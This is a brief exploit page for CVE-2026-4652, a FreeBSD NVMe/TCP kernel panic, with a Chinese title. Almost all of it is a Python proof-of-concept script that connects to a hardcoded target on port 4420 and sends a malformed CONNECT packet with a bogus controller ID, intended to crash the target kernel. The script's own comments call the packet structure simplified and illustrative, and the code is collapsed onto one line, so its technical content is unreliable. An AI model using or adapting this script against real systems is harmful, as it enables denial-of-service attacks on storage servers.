CVE-2026-4652 FreeBSD NVMe/TCP内核崩溃漏洞

#!/usr/bin/env python3 # This is a conceptual PoC for CVE-2026-4652 # It demonstrates sending a malformed NVMe/TCP packet with a bogus CNTLID import socket import struct TARGET_IP = "192.168.1.100" NVME_TCP_PORT = 4420 # NVMe/TCP PDU Header (simplified) # Construct a CONNECT command with an invalid CNTLID def build_exploit_pdu(): pdu_type = 0x01 # ICReq (Connect) # ... (Header fields) # Set CNTLID to 0xFFFF or an invalid value to trigger the panic cntlid = 0xDEAD # Building raw payload (simplified structure representation) # Actual NVMe/TCP packet structure is more complex, this is illustrative payload = struct.pack('<B', pdu_type) + struct.pack('<H', cntlid) return payload try: print(f"[+] Sending exploit packet to {TARGET_IP}:{NVME_TCP_PORT}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, NVME_TCP_PORT)) s.send(build_exploit_pdu()) print("[+] Packet sent. Check target for kernel panic.") s.close() except Exception as e: print(f"[-] Error: {e}")